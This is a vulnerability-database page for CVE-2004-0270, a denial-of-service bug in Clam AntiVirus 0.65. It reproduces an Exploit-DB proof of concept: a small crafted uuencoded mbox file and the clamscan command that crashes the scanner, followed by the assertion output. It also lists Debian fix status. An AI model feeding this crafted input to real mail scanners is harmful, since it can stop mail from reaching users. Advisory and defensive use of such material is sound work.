CVE-2004-0270
Description
libclamav in Clam AntiVirus 0.65 allows remote attackers to cause a denial of service (crash) via a uuencoded e-mail message with an invalid line length (e.g., a lowercase character), which causes an assert error in clamd that terminates the calling program.
Predictions
Heuristic predictions, AS-IS, for prioritization only.
Mitigations
No mitigations published for this CVE yet.
The vendor-content worker queues fetches as references arrive (check back in a few minutes). Or — if you've already worked around this in production — publish your fix to the community-verified tier.
✚ Propose a mitigation on Community → Mitigations published via the community go through AI scoring + 2 human reviewers + 7-day silent objection window before landing here withsource_tier=community-verified.
Exploits
Public proof-of-concept code below. AS-IS, for defenders and authorised testing only.
Exploit-DB
ClamAV Daemon 0.65 - UUEncoded Message Denial of Service
source: https://www.securityfocus.com/bid/9610/info
A problem in the handling of specially crafted UUEncoded messages has been identified in ClamAV. Because of this, an attacker may prevent the delivery of e-mail to users.
Save the following file to ~/clamtest.mbox:
From -
begin 644 byebye
byebye
end
Then do:
# clamscan --mbox -v ~/clamtest.mbox
assertion "(len >= 0) && (len <= 63)" failed: file "message.c", line 887
Abort (core dumped)
OS impact
Debian Fixed 5 releases
| Version | Status | Fixed in |
|---|---|---|
| trixie | Fixed | 0.80 |
| sid | Fixed | 0.80 |
| forky | Fixed | 0.80 |
| bullseye | Fixed | 0.80 |
| bookworm | Fixed | 0.80 |
References
Community-verified mitigations for this CVE will appear above when contributors publish them.
Verify integrity in audit chain (admin only). AS-IS.